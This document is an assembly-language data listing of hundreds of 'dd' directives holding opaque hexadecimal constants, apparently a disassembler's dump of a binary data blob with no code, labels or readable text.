		dd 12F51A71h, 20C95493h, 0F7728914h, 2ECE23DDh,	0F121DB62h
		dd 0D1F1495Dh, 0FBDCFB40h, 0F9E0A054h, 0BB538070h, 0E7300909h
		dd 51A20044h, 130BB332h, 4E5BDF31h, 28D8F7E5h, 42072972h
		dd 0E0F3817Ch, 0B687F054h, 900009E9h, 48A86816h, 0BAC05A7Fh
		dd 40696B52h, 7B293148h, 12E9F90Ch, 925E247Dh, 8ABD84B1h
		dd 6A01285h, 50D02E7h, 875EF101h, 0F7ED930Ch, 0E3E74812h
		dd 0C9C14E40h, 7C35FD38h, 8CFAF101h, 12F71C08h,	4141242h
		dd 613094h, 6931BFBBh, 0A5EBE65Bh, 2E986DFh, 0C11C5ED2h
		dd 0EADC07E2h, 130098E4h, 3146ADFAh, 295A1BD1h,	3FF8B8CAh
		dd 3A481C3Dh, 41E43F9Bh, 0CF70A30h, 6C484B71h, 0F34D9FFFh
		dd 7E49100Dh, 7F7F5449h, 33CA4DE1h, 5693BE00h, 0EEC1547Dh
		dd 0F6810800h, 2DD22B4Eh, 187A129h, 18DE0FF7h, 1778656h
		dd 4261978Eh, 5457030h,	256907A2h, 2D24859h, 5715146h
		dd 0E90A9F5Fh, 0C7A2D48Eh, 0D84208FAh, 0C45A5581h, 210894B1h
		dd 360B6F62h, 0C55DD2A4h, 63A06DFCh, 0FE91827h,	0FE5B5771h
		dd 2DABD2DDh, 5F060829h, 0D9EF0129h, 2E3FAF68h,	0EA13621h
		dd 0FDB0980h, 0CF08D185h, 8CF85210h, 2A0031ABh,	20478F45h
		dd 0B91C0D68h, 698A6BDh, 984E65B9h, 7EFE912h, 75351E52h
		dd 44879409h, 0B60F0276h, 32A968C8h, 0DBE9EE98h, 14FBD051h
		dd 0CAF195C2h, 0BF570013h, 300C23DAh, 0E6D77EF7h, 34E184Dh
		dd 926C0C04h, 29CBF005h, 0FFC95FFBh, 5CBF9F24h,	585844FFh
		dd 1828CF03h, 0E7B002B3h, 0DE24016Fh, 2B20E510h, 92506A7Ah
		dd 6F0FC6ADh, 215B940Ch, 0DCA4E9FEh, 3BDAABBh, 84CA592Ah
		dd 689B82CDh, 40F5E9EFh, 0C046836h, 5A14BC4Bh, 0B2D015C5h
		dd 105BD829h, 17514DE9h, 4B50D5F7h, 554DB0DFh, 69E91556h
		dd 0C200F987h, 1C674991h, 5A0AD329h, 0CF6B2268h, 0EF404469h
		dd 1D4201h, 3980CCFEh, 0AF51AF4h, 29D86860h, 97B7801Ch
		dd 0E7C0C7FEh, 0EDE9030Ch, 53C8C769h, 6605DA28h, 0A1A08B9h
		dd 3CCEC1A8h, 0BA8F52BDh, 1E76364h, 205AE6D1h, 2D08F118h
		dd 0B0E3C90Ah, 3B48202Bh, 801226D3h, 66D49127h,	0FC00CFA1h
		dd 7BFE7891h, 0DE153452h, 2132C916h, 7610A1D2h,	0E54F4AACh
		dd 944E8BC8h, 9D59A0EEh, 98575F16h, 0E92540C1h,	48A0534Dh
		dd 14EB0050h, 110862Eh,	87CD0D3h, 5CFAE913h, 66E50957h
		dd 0EFC16082h, 2975310Bh, 0D1A305EAh, 70C88809h, 21D40B5Fh
		dd 10ED5325h, 0F6077458h, 81C288D0h, 0E026EA80h, 74F752DAh
		dd 0B0185086h, 0E92028C9h, 5AD86F61h, 0EB30C50Ch, 7F2CAC7Bh
		dd 50C7F801h, 507C3AA3h, 0BEBD014h, 314E5B1Bh, 8089E984h
		dd 8BFB01C9h, 252E3C6Fh, 4D4405E0h, 0B6882282h,	0B04E1643h
		dd 4D360E6Ah, 0E905DB01h, 902CB4h, 0DA599DBAh, 7CCC680Ch
		dd 244A7F73h, 821864F3h, 154542FAh, 10958383h, 0AB0FA713h
		dd 0CEE03C91h, 6EE8504h, 10ECC56Fh, 31E505Ch, 59A251Ah
		dd 0E68C605Dh, 0FD090216h, 0F5001CB0h, 30A94AC2h, 5DE9E889h
		dd 0C109BA1Dh, 1A0402E1h, 5CC09279h, 0E8572E49h, 14CE0DF2h
		dd 59E8005Bh, 92CD828h,	445468ABh, 2C536F19h, 0D2F78664h
		dd 40729804h, 0B102C302h, 9CE99E1Ah, 409CA8Eh, 0CA19D5FDh
		dd 12E24D7h, 69E8EB66h,	57681EFFh, 2C8F491Ch, 6210567h
		dd 5C8C0724h, 0A4534455h, 0A19B5ACCh, 0F45721CBh, 57BA7AC0h
		dd 0BD601D9Ch, 78C8014Dh, 3BEB581Eh, 327BCB00h,	0F7E960C4h
		dd 86573659h, 57F1FC3h,	38115EC2h, 6E21C206h, 0C3D10B8Dh
		dd 0DE3F2C26h, 9D4D8C2h, 31698AAh, 111A5DB6h, 0E460F2CAh
		dd 41035CBBh, 0E8E9126Fh, 212E13D9h, 5B9B49D8h,	0E3F5FE10h
		dd 96FC783h, 59EC1151h,	1CE68214h, 0BA80B464h, 8CC17720h
		dd 0C380EB28h, 40348920h, 0A301BB71h, 521DEC65h, 0BAECAF68h
		dd 6FE91A3Dh, 7B992050h, 895FB087h, 1B0FC009h, 8EF4B384h
		dd 68287790h, 0F9342736h, 6DBE01B6h, 0E948EE36h, 0B1673483h
		dd 0C1FE1D1Ch, 8480C98Eh, 0BB802833h, 49E9DD88h, 5D26ADFDh
		dd 6AE608FBh, 2E7C106h
		dd 74064506h, 0BB09FAF2h, 446DACE9h, 4905A0D4h,	3266818Fh
		dd 0CD3C1087h, 3077B758h, 522130ADh, 28263DB2h,	9220C5D5h
		dd 281C594Ch, 0DD589696h, 0C3C028C7h, 19E9871Ah, 0E9168F47h
		dd 98F96E02h, 5A529C25h, 0DE164A53h, 633E549h, 0D606310Fh
		dd 0E101510Dh, 46ABBB0Eh, 0CCAB0637h, 4E1732E2h, 0E501D6F7h
		dd 7C1B6B41h, 16DF30h, 130EA3Ch, 84D9E9F3h, 680DC082h
		dd 0C95753B6h, 0AC73564Ch, 2ACB99E8h, 0FBCE2C54h, 3BE5402Dh
		dd 0D9986BBBh, 0BD214924h, 9BA5250h, 4BFE7C13h,	0E2C0FE0Fh
		dd 1E8E3C99h, 47FA871Ah, 5CA48406h, 0C143B004h,	2DDB3F1Ah
		dd 28F100B6h, 6068420Dh, 8A098B0Ah, 0C0224DB9h,	4A0E9CCh
		dd 511F7B05h, 59A083F7h, 807ED9A3h, 3D352318h, 3030497Ch
		dd 0F28D5DFEh, 2225550Ch, 0BF092Dh, 0B00F734Ah,	0D1093386h
		dd 72591AECh, 656F954Ch, 5CA35707h, 58C78900h, 1AE9F801h
		dd 46C2E769h, 0EA833BF3h, 41CD4A7Eh, 2368E2C9h,	636B497Fh
		dd 0BACA28FBh, 25103982h, 5911487h, 5F443112h, 830FCBDDh
		dd 5699C816h, 9BE6892Ch, 600C83C6h, 0E95CD287h,	18C15585h
		dd 8002EEC0h, 0C6CC84CDh, 7330739Ah, 2EF05D58h,	20545313h
		dd 723EE936h, 0A887A9D6h, 124EAC9Eh, 806A91BEh,	8759BAEDh
		dd 0BD9E291Ah, 5E0D0820h, 288616E9h, 83CDC928h,	2CE5F90Ch
		dd 515F1461h, 8005C78Bh, 61607092h, 7462DCBh, 2C848854h
		dd 6400BC47h, 0D605A21Ch, 2ED7E821h, 20778900h,	4F295E1Dh
		dd 12CC5912h, 1D6E20E9h, 0D0FF8CCh, 28EF0081h, 10D6171h
		dd 47FC5FFEh, 54735F7h,	2D6C81A6h, 40DD213Bh, 9E145D14h
		dd 80350D00h, 407D171Fh, 48D01FF7h, 0BC530F05h,	4B8E31EBh
		dd 5306EE69h, 2A1D38D6h, 5B3F7A59h, 53481C04h, 0DA3F0F12h
		dd 47EED31Eh, 855AD55Ch, 5999B0B5h, 17EA0158h, 9E281972h
		dd 66EE7683h, 631E633h,	7E90DC6h, 0DA09272Fh, 8F80BB1Ah
		dd 7AFA11A3h, 24F3E2B0h, 0DA06C2A3h, 890DCA96h,	0BC296A80h
		dd 0AE104930h, 6680CA8Eh, 4465E559h, 25648DAh, 217E69E9h
		dd 44D4E54Ch, 25E93860h, 0B75510FBh, 0CFFE2E0Dh, 592A1DEDh
		dd 702C04C8h, 0D493C78Fh, 0F00DE24h, 0F603E2C0h, 0C2DAE4D2h
		dd 655E908h, 0D8013E44h, 12DBC3Ch, 0BD9C59CEh, 49ABA58Bh
		dd 0F1C0BE03h, 89848248h, 8F5E21FAh, 29BF4047h,	0C2102C25h
		dd 0C1E14D9Ch, 8B13395Ch, 0D48C02C9h, 6EF1E903h, 0E9123E28h
		dd 88DB8222h, 5AAE8FF0h, 0F223664Ah, 0FBFC0002h, 0A034C0FEh
		dd 0E919B62Ch, 24A5FA92h, 94C9D301h, 20EDDE51h,	6C4CA10Fh
		dd 454BD8h, 5E5814Dh, 0E9680D76h, 7C04BA5Ah, 6385DEF7h
		dd 82036081h, 378EEA10h, 0FE65C728h, 3F201DB0h,	99B90513h
		dd 0A0745601h, 2A2C6590h, 17003D60h, 21F22561h,	415E28F1h
		dd 0FF8300B8h, 0CD019BFBh, 8EB15559h, 3DD15D12h, 5F02753Fh
		dd 87020860h, 0D2987EB1h, 6AE99C0Ch, 0A4E163h, 125C05D8h
		dd 895250D0h, 545109A0h, 0D0309659h, 0C700CD51h, 180F7198h
		dd 0E92CEF01h, 0BB968E97h, 3C600C89h, 744D4F4Fh, 45980C36h
		dd 8DC21D0Bh, 0EC649068h, 6ABA0071h, 0E946057Ch, 87D072E7h
		dd 0C524CF5h, 8EEAF181h, 0B88FA359h, 58CB12D3h,	88056C7Ah
		dd 0E1B334A8h, 0F291E08Ah, 975266D5h, 8C685830h, 4A849E3Eh
		dd 180FAC49h, 48EBBF50h, 52286600h, 685BDA01h, 0AA099526h
		dd 4D29FD9Bh, 0A02081BDh, 507B8E0Bh, 67E4A4Dh, 0F6815D08h
		dd 144967Dh, 3017D22Dh,	5BDED466h, 833FB239h, 0E956D829h
		dd 47274893h, 38A7EE00h, 5EF0893Dh, 0E0C1E2A0h,	84050701h
		dd 1F619A0h, 0EF897A31h, 9A409FE9h, 0CDF7C229h,	553C71D6h
		dd 98C1539Ah, 0D8B30C24h, 0A30807B4h, 0EAD102C8h, 0C840D039h
		dd 0E0A8FD03h, 0CD9467B0h, 993B0A67h, 84615803h, 50A9B16Ah
		dd 0F362E2E0h, 35B54F4Ch, 12C744CCh, 6850C300h,	841D684h
		dd 0FE086174h, 0ED0B08C5h, 78BC2CBFh, 5207F9ABh, 822BFA88h
		dd 423EC46h, 0EFBAC05Eh, 39512431h, 16CC44E2h, 85040B08h
		dd 0F8034211h, 7616E8F6h, 70C51645h, 52538070h,	267B2FE9h
		dd 0B1CF2C93h, 61935B5Ah, 3D6771EAh, 75194B03h,	5468EDB0h
		dd 0D4015D16h, 335C0B4Fh, 2317C6C0h, 0B0C94C8Ah, 0E9B2FC7Ch
		dd 849CC704h, 6E5A0921h, 0CC71AA27h, 44E91301h,	74F5D75Eh
		dd 9815D64Ah, 5B2C577Fh, 8341D078h, 62309749h, 40D64A52h
		dd 0ED319D5Bh, 0E359C155h, 175600D3h, 0E5D17B08h, 76CD0781h
		dd 6F1F6D1Ah, 0BD85250Fh, 0DE5EC07Fh, 4A12D816h, 5982D0E9h
		dd 0C15D4021h, 29107BE8h, 8EA42FAFh, 0B05FC831h, 66D6808h
		dd 12BC0B99h, 0B6607CA1h, 48D3510Ah, 7984A75Ch,	949F33Dh
		dd 1B3A3B68h, 0FB29764Ch, 0E9876E78h, 0C8A0C9BFh, 63931092h
		dd 6CB4A9B3h, 35EEF904h, 0DF015802h, 464B86D9h,	0D3662637h
		dd 0C6AA42B9h, 0BA2021D1h, 1A5DF8F4h, 19FE91B9h, 8F2AEA9Bh
		dd 0D9A88707h, 0A7ACCC73h, 504D7E15h, 0ADAAC32Ch, 3EB67451h
		dd 16575879h, 5C945F88h, 10DAD571h, 1125EC6h, 0D80501CFh
		dd 45158F6Eh, 9F8BCAA6h, 24387AC9h, 51B95FF8h, 258BE90Bh
		dd 172C9F9Ah, 0FE5ABBA4h, 0C6A04C24h, 34760BBAh, 0CE9042C6h
		dd 78AA8667h, 3371AA54h, 66D3103h, 712E380Dh, 144521h
		dd 0E72AE180h, 186008E5h, 83D9B446h, 4E670286h,	362F0ECEh
		dd 14D8703Dh, 0F8348BF7h, 5083E9E1h, 2B68ACD3h,	0DAD11765h
		dd 758BF49h, 483BA8D7h,	396B8Ch, 0C9817754h, 402B5071h
		dd 45CB0CCFh, 6990202Eh, 0A0067F72h, 59C8FBh, 5249525h
		dd 0E131E929h, 0F65C5AC7h, 0B60F6650h, 0B68E8CCh, 57E947CFh
		dd 6DA990E3h, 5D0A93C5h, 5A320D66h, 0DB8544BBh,	30328D83h
		dd 57803AB7h, 12AE0268h, 3C8B2F5Ch, 1F8BC3FBh, 0A8D5AA88h
		dd 21AFC5BFh, 26CC6D32h, 8913535Dh, 969846D9h, 0A6E961DDh
		dd 0D2DD2D21h, 0E45CBC0Bh, 0E9B092h, 0C0B7B640h, 32E902E6h
		dd 8000D0B6h, 506667F4h, 24541DF6h, 0C0588301h,	1C0605ECh
		dd 25ABE9C6h, 40773CAFh, 3CC4D519h, 8537E752h, 0B291B9CEh
		dd 2C61515Ah, 8B2774CAh, 4F2518E9h, 54DF8634h, 5C2ABC20h
		dd 4D313E5Dh, 42D82841h, 0A44A5BAFh, 8E3A140h, 50361301h
		dd 782E24B8h, 16E07D30h, 0D0F702h, 821635EDh, 2909DBC8h
		dd 4D58C5h, 1531A97Dh, 0EE011EE8h, 0A8D2795Dh, 84E294Ah
		dd 0E45969Bh, 8268E500h, 14BB290Dh, 0F7C66EEDh,	89051FA6h
		dd 82CFE9FBh, 0E61070B5h, 59E3699Ch, 7B7363A7h,	156CE4EAh
		dd 0FE16895Bh, 5EE95D04h, 0D213A975h, 2C49578Eh, 0A6C6882h
		dd 4A0889DBh, 0D6F60064h, 8006EEC0h, 0F9EAE639h, 0F508030Fh
		dd 0D6DDCF5Ah, 2063B214h, 0F2800484h, 0C1D0283Ah, 0DB025h
		dd 9658555Ch, 0B08FC53Dh, 68125901h, 8881A23h, 1281F255h
		dd 0A025173Ah, 30756A2h, 0E889DF45h, 0E2C23192h, 0BBAB54h
		dd 1E07F4F4h, 9044FB10h, 0D36F36BCh, 15FFB20h, 0B9BE5BDDh
		dd 0C15CD1A0h, 6330729Ah, 30AC46C7h, 12CA91D8h,	17008566h
		dd 5F38896h, 70042F40h,	2CD83AD4h, 0F3B3530Ch, 8072C306h
		dd 0CB0B9173h, 5B551BFh, 0B346D03Ch, 2098F2B2h,	0F60481EBh
		dd 3EAC0DAh, 8CC29987h,	68C19880h, 0BB7D480Bh, 0C67354C9h
		dd 20597428h, 0F4E392BDh, 55E10473h, 0BD6156E9h, 7304C76h
		dd 6FEA1459h, 181C016Fh, 0F07177B9h, 5D160F28h,	0A44C8753h
		dd 30249160h, 0C0BC62FDh
		dd 5214C580h, 512702B6h, 0D9F689B1h, 6C9CF261h,	0D7507588h
		dd 13952A98h, 4021C137h, 58543824h, 57C33176h, 30976FBFh
		dd 0D439E9BAh, 0FDF6ECA8h, 342E157Eh, 1096129h,	1BBC52C3h
		dd 29D787E9h, 0E4477FD8h, 2E2E6A7Bh, 1B40AD5Eh,	0F6714D0Dh
		dd 7168646Ch, 0EEFF80E7h, 6D5C1D32h, 5081F8Ah, 56914A00h
		dd 0BB588D68h, 4D370E79h, 9E92122h, 5B14EDF0h, 33B1EB81h
		dd 0CCDE2843h, 0F7C65380h, 0A32C0BAEh, 1A494BE9h, 87582EC2h
		dd 1F52E10Ch, 5012173h,	0A3769568h, 670505ABh, 478028D6h
		dd 909536C3h, 0BA28FF0Dh, 6DBF24h, 0CC05335Eh, 420AA31Eh
		dd 72DF801h, 1A825F17h,	0C60D007Dh, 5B02D874h, 87685148h
		dd 0C0C79B24h, 60C27DE7h, 8FC3D028h, 3C67AB7Bh,	66D27CDCh
		dd 0EBE67C2Ah, 95A14916h, 482D334Ch, 9362F1Dh, 8BE8EDA6h
		dd 0BE69640Dh, 6925A438h, 7C7AAC04h, 7109C7E8h,	6B827858h
		dd 5407462Bh, 8148E662h, 9D26331Dh, 53B4F047h, 800399C8h
		dd 3FE84A2Dh, 0E9CE010Bh, 0C4884248h, 6F96B4CCh, 0AB6265E9h
		dd 4D88CF5Eh, 17C92683h, 0CE97C426h, 505F00BAh,	0DD152968h
		dd 48582C22h, 0E0D10022h, 94C4635h, 78310749h, 0BD499D78h
		dd 835809C6h, 54F6F2EFh, 48549E5Ch, 3E209A5Eh, 1E75294Ch
		dd 0FC41D801h, 5370023Ah, 2B36770h, 0E963CD5Fh,	32C65643h
		dd 9D9134F0h, 4E7DEB07h, 0DA3144B0h, 0F7423A5Bh, 91F2047Ch
		dd 81989B45h, 0D8248847h, 0E9F88737h, 0BC282020h, 1F7149C6h
		dd 48D4E942h, 1ECFBEBBh, 8D62E542h, 3B14FE27h, 9E6C7528h
		dd 3D032C05h, 22C48081h, 0D858E588h, 0EDF2B2CDh, 0F82461FFh
		dd 2C7A77F5h, 2BE82826h, 21EC621Fh, 47C85C38h, 0AF573F46h
		dd 0F3280953h, 525C61A6h, 9CEE4854h, 5D5A4C40h,	0D38BD18Fh
		dd 0C0CAD093h, 0AD84F956h, 3680E550h, 16233670h, 31EA3146h
		dd 27F64B8h, 0A5A5EB66h, 0CF68A6C8h, 5979D247h,	9AF2145Fh
		dd 6BC00993h, 0F609C7E6h, 8028BB7Ch, 2B0DAB56h,	712D172Fh
		dd 0E93E0730h, 86C6E90Ch, 80E4B607h, 0C63398CEh, 19EEB101h
		dd 294A9778h, 7E73203Dh, 92E4999Dh, 5A0EC38h, 68257426h
		dd 0E9C5012Ah, 0EC044E37h, 2EDD06DDh, 90C0A11h,	489F5193h
		dd 0D2C2310Eh, 0B76A83Ch, 413FE90Bh, 0A94053D7h, 173B486Bh
		dd 0EDC101h, 7380F56Eh,	0E4ED3891h, 0E5254B88h,	0E96460F7h
		dd 0E3C4D2Dh, 0FA8BF528h, 0B18BCFEh, 0E4CC2E63h, 57C4050Eh
		dd 0F00142F3h, 407892Dh, 121F4B37h, 586C0644h, 46286E5Dh
		dd 0F7F0880Bh, 0C583D50Ch, 168E6A01h, 24A74A74h, 52ABCAAh
		dd 3D956CFEh, 332AD8C0h, 0C06F4CF6h, 84055F00h,	293A6245h
		dd 5D4D9CC4h, 92D78904h, 0D5A05A16h, 3C8BF821h,	0F2483B9h
		dd 0C8310E02h, 9CE1CC50h, 59436C46h, 7B20AE98h,	0F7BE3CFDh
		dd 8C327D1Eh, 566E73B2h, 8398A1h, 2A2BF605h, 838604F7h
		dd 0E9651707h, 316583C8h, 0EC6D77B7h, 0D339880Eh, 5BDC845Ah
		dd 0D597C4FEh, 0AAC0C553h, 0B455E004h, 40EC90FBh, 1C00BAEFh
		dd 0BD406A51h, 50BC8A7Dh, 4A2AD44h, 291A565Eh, 1409C4D5h
		dd 8C100808h, 84074C21h, 0F6B2F031h, 0D184218Bh, 1689AC53h
		dd 6F01FE09h, 0DA0E50BDh, 0D640AC3Ch, 3D1618B4h, 63F60C17h
		dd 93334F26h, 7366A700h, 4142E93Ah, 2805426Ah, 5C1386D6h
		dd 0F28C01D1h, 0DDEB2001h, 2FBF35A0h, 50962F22h, 245F7F33h
		dd 5293D82Ch, 5741DB32h, 0E7272E23h, 48757083h,	3A04227Dh
		dd 8416E669h, 1C85090Ch, 5B82A6A9h, 0F1845506h,	89B7B112h
		dd 0C63B4020h, 14949FA8h, 6CA4E912h, 2EB5ED31h,	3F01AA30h
		dd 0F3B45166h, 7F9D012Fh, 0EC1C7D07h, 2CA45610h, 782E8D80h
		dd 0AD2631B5h, 596B0F3Eh, 31081AE5h, 44DEF0Fh, 62E6F712h
		dd 54D7347Eh, 0CC14A810h, 694C48CFh, 11C4F2DAh,	0BDC2FE5Ah
		dd 7C3AC401h, 0D9834134h, 2D2D2B14h, 5202B1FFh,	0E6495462h
		dd 0E590FEC9h, 5DCBBDA6h, 2AE05F0h, 364C18A8h, 0B0502304h
		dd 5B1E8D5h, 52E9832Ch,	0AC25F8BCh, 199ECC46h, 983515C2h
		dd 0FBE56C0h, 2D437ED0h, 5F66F72Ch, 0DA986E4Bh,	1D89DE62h
		dd 0A1A9D6EFh, 96DD39C7h, 0F71CD6E2h, 0C268C7E1h, 83C7A71h
		dd 8101631Bh, 353C99F1h, 0A0CBC770h, 82BF1CABh,	7990BC5Ah
		dd 0EE30A7B7h, 0D15053D3h, 0C65255DEh, 3CF9E0C3h, 3A6E2811h
		dd 631A570h, 0B1D47E9h,	73C3016Bh, 0AA6CC5Eh, 0CD693381h
		dd 2CFFA29Dh, 0F2291249h, 74BF672Ch, 7E3A0122h,	5E5FFA29h
		dd 1A453E21h, 6FD7F9E9h, 0DDE466C9h, 0AE2AE25Eh, 6490F8BCh
		dd 3327199Fh, 6C31E543h, 0E93F0D06h, 6DBC942Ah,	7055C689h
		dd 18B75B6Ah, 0BD0BFC63h, 53098614h, 4729BF68h,	685B8211h
		dd 0B6CC35C9h, 8A09235Ah, 4184D852h, 32F842D7h,	25D91CCAh
		dd 89C82989h, 55C2084h,	0B02D26D7h, 4D86208Eh, 0CBF5713h
		dd 4F7EC400h, 108E7C1h,	225BCF81h, 0DC470E6Eh, 0EC01DFEFh
		dd 0F9014AC5h, 907C295Fh, 0B83E7D05h, 3A888614h, 197FBBEAh
		dd 81EF168h, 4BBF1C30h,	5E2D051Fh, 0D95F3D68h, 24DA2357h
		dd 5E966BF1h, 1254A1CCh, 2503B5E9h, 0F195948Bh,	0E82A3191h
		dd 0ABA614F7h, 245B090h, 0D1111414h, 0B721960Eh, 0DA72FB3Ch
		dd 577AC205h, 631C279h,	0E55DEF00h, 0C704B701h,	0D206ED2Dh
		dd 38C08991h, 523CA633h, 2B1EA480h, 0DAF75A70h,	770304D6h
		dd 0D2EFF8B5h, 3171E189h, 372E4B2Fh, 0E441E0C2h, 0B5102A6Eh
		dd 2AF605CFh, 0F70952DCh, 3922C44Ah, 222F1DC3h,	0F320F20Fh
		dd 8F066548h, 18A1E916h, 9D1C9591h, 0D34A042Eh,	38769114h
		dd 6D6705BBh, 667A35B2h, 41F5902Eh, 29D64027h, 98246CBFh
		dd 1235AE31h, 97D8FB9h,	0E764E9D7h, 0CECBF233h,	4968D109h
		dd 611EC406h, 0A8BD651h, 0EFC9408Dh, 982D938Fh,	483D62E5h
		dd 0A2DBF74Ch, 0E466002h, 0C8018043h, 31570500h, 662D202Fh
		dd 517D3D5Fh, 2A711904h, 8494BC62h, 5B0908DCh, 0C7396183h
		dd 19D59110h, 0B3EBBBC0h, 290992C8h, 8D015BDEh,	7FF498C5h
		dd 0A035E8Ah, 0B08C7B1h, 6DE38568h, 92E4E620h, 2902C5A2h
		dd 60D3D9FDh, 7F3D8061h, 25C75B72h, 0D95E6522h,	31123D96h
		dd 20F1A2F5h, 2D23BE8Bh, 0BA97A2CCh, 782D4190h,	19FA8104h
		dd 449D2206h, 2F44FEE1h, 80B603C2h, 0D601D43Eh,	2468FDEAh
		dd 86B7E883h, 4880D37Eh, 0D05A544Ah, 0B6A6C2D3h, 36FE2A32h
		dd 63B5F95Ah, 2E88EBAh,	53004217h, 355573BBh, 53E46841h
		dd 883F1570h, 0F0159492h, 0D49431A4h, 94EF380Bh, 637CC18Dh
		dd 6167FB17h, 58B012AEh, 0FA532CF6h, 0C0836A76h, 5FEB75Eh
		dd 626850CDh, 0FF33536h, 27700CA0h, 2052E4B8h, 66254D19h
		dd 78DBE454h, 26B96F51h, 0AE448187h, 0D956CFC7h, 90FB06D8h
		dd 10936C18h, 0BD406272h, 0FC306FFEh, 36235A89h, 0B6BA48B4h
		dd 5B174356h, 6D106AF6h, 24B91A76h, 0EB54215h, 40814A7h
		dd 0E8D6E9CBh, 695C6291h, 827E9514h, 48416548h,	0FFD1891Dh
		dd 0C41A8632h, 4FCF2033h, 96E65469h, 4AEFBA36h,	5CCB82CDh
		dd 0C3969B40h, 0CEEDD9C0h, 0B5922B27h, 0D2FD5605h, 2EC58BEh
		dd 7FD66818h, 0B64773D7h, 12C5933h, 912856E5h, 10BDF293h
		dd 810120DAh, 0C13D1AEEh, 170C8272h, 0C16DF174h, 0D30D34E1h
		dd 375C797Dh, 1B08D307h, 0A12BB6F2h, 0B869BAF6h, 0C54DE472h
		dd 0E7315FE8h, 0B8007C7Eh, 4B1C592Fh, 0BA49ADE9h, 88044F07h
		dd 0ABB5534Ah, 0E759F958h
		dd 0B9026483h, 85F95D2Fh, 0E9BC6CB8h, 13364CC2h, 35FFC78h
		dd 20817A8Dh, 7EFD2D58h, 6F3270D7h, 0C81F89F1h,	70E2F859h
		dd 0F3D07EBAh, 0B0534664h, 2D940944h, 0BDC06F43h, 212E79FFh
		dd 3C1D1477h, 966E101h,	0B43059CAh, 505F506h, 571F87CCh
		dd 0F4A58784h, 314091A6h, 0C2C878EEh, 5C5EF301h, 7535C262h
		dd 68E1CA76h, 0D678544Fh, 3638BDC0h, 0B6B05387h, 53EF20Bh
		dd 7C110043h, 16646527h, 0A51161E9h, 1A537254h,	0BB606F37h
		dd 54C6E264h, 0EDBD0189h, 7C5AB905h, 0FA1804C4h, 6842A546h
		dd 865971B3h, 72D4A88h,	8223E780h, 0B0D97ADFh, 0F92F1D82h
		dd 0C36EE032h, 73D1358h, 0A8F7A049h, 0D4442912h, 3F9E931Eh
		dd 0CD014886h, 59088178h, 30C53D28h, 0D2ABA8C3h, 0EF8AFD53h
		dd 4FC1E908h, 59E35812h, 45077148h, 0DB53BA20h,	0BE01D3E5h
		dd 7DB27CA8h, 0B75CEF8h, 56671E19h, 708396A9h, 0C088AFC6h
		dd 0A29C21ECh, 0B10E99Ch, 9F14784Ch, 0C103A068h, 0DFF708EFh
		dd 1666CFD8h, 4035762Fh, 7F19C781h, 1572F04h, 0ECDA9685h
		dd 0CDC2B03Ch, 79D72437h, 1D4C0142h, 0F3011551h, 0A0081C41h
		dd 5548141Ch, 579A055Eh, 89E87D18h, 8036251Eh, 5BDA0937h
		dd 2190D2F7h, 0DE997209h, 262254D6h, 0D9C52F2Eh, 0C5AF291Fh
		dd 0B6B3894Fh, 0C4FE256h, 7AB91DAEh, 2F741684h,	0EED0F001h
		dd 5F89CB5Bh, 9A1B217Eh, 2F00573h, 3EBA9066h, 0FBA775B6h
		dd 32E180C8h, 0D9A07B91h, 2E6260FEh, 6644A91Fh,	7B1897E6h
		dd 30591BE9h, 5513745Ah, 0E051F26h, 35872D02h, 0F7C36D85h
		dd 0E1412553h, 0EFFADE66h, 0DE2CDE5Ch, 9CF00F16h, 8AFDE340h
		dd 28A8002Bh, 5BBC04F8h, 8EB75CE6h, 60AA9A75h, 0DF05FC9Bh
		dd 0DB9CDEE1h, 27742CD1h, 0AAB1510Fh, 0E1C060F6h, 690BE903h
		dd 0AED13059h, 5AEBC781h, 94614FBCh, 80C95E3h, 9705965Dh
		dd 0E89C1219h, 0AADDB5E7h, 42DC88CEh, 725B58E1h, 748725FCh
		dd 0D125D372h, 1C0EA412h, 142074F7h, 4082B37Dh,	95221D71h
		dd 5C960BEEh, 0AF48AA62h, 0E2A51F10h, 4D4B5875h, 8F131731h
		dd 5E469114h, 9BBB3001h, 340D6AAh, 18B03422h, 6813C5FAh
		dd 0F46037BBh, 7F7532h,	2DD0F721h, 0DE3756ABh, 0D6582CCAh
		dd 5FA51F45h, 433720h, 23FEF381h, 0D9897EFFh, 7514E912h
		dd 508914ACh, 72584A11h, 0DF3E108Dh, 2C96FA4Ch,	0D291BDE0h
		dd 1A7001ADh, 0EBCEFA50h, 4F46F870h, 105365Bh, 0C842811h
		dd 1C1314F1h, 749D0C65h, 8717326Eh, 6805A471h, 31E34642h
		dd 0C453D010h, 0AAF3D488h, 0E13D474Ch, 0CC1089DCh, 555F15F6h
		dd 182D5866h, 0EB771259h, 3A350738h, 0D2FB292Bh, 6AE8DB26h
		dd 203941C9h, 0BF6D8EEh, 827822C8h, 0FE33E21Dh,	577B5AC2h
		dd 0D62040A8h, 0A4E09542h, 0FA0356FEh, 5A712D1Ch, 0E852BDB4h
		dd 41260999h, 0BD9AC10h, 0BFCC180h, 0EE0FD077h,	60465E0h
		dd 40F60905h, 57631354h, 0C7C527B4h, 5C0B714Ch,	0D25BD821h
		dd 0F39C214Fh, 0F2E81C18h, 6D730960h, 3D764401h, 91C3D62h
		dd 57997267h, 3C40DF24h, 7B763088h, 462C2742h, 0FE932446h
		dd 506649A4h, 52FA4E42h, 0F9CF336Eh, 0B5F3D23h,	4810F6E9h
		dd 7E0DEDC3h, 0E0315865h, 0E19A4C92h, 0D29C323Fh, 9974C0Eh
		dd 0EE4783CEh, 0C58E9780h, 24FDF030h, 5D91568Ch, 7A7C293Eh
		dd 1A8D6ACh, 0E62552D1h, 9621E215h, 0F2A295A3h,	0BB0035FCh
		dd 19F53917h, 0DBC3311Bh, 79394158h, 4AA29B3h, 0F31C40BFh
		dd 16756AEh, 0E93823F2h, 4CA03822h, 562181E8h, 0ADF45EB0h
		dd 931ADDF0h, 3B17FDh, 3EB55168h, 4439CD80h, 0E531F5FEh
		dd 0B3ED0B2Dh, 0E107F5F4h, 4FEE427Ah, 0C2F408E9h, 3F9B4C2Fh
		dd 0A09278BBh, 6B9E0119h, 0D80E7A7Bh, 4B0025CBh, 0DBF70B94h
		dd 0B6044FE9h, 4AF588F2h, 5C72C0Eh, 0F8E052C8h,	0E2883B5Fh
		dd 0C2FE5802h, 169C5E9h, 7D1445Ah, 0C376E1CCh, 181D52C0h
		dd 0E8C9028Fh, 0B409CEB2h, 15B169D3h, 492DA7D2h, 323F81F0h
		dd 65589F5h, 727BF9Eh, 0D03C1605h, 6242A230h, 9E092DAFh
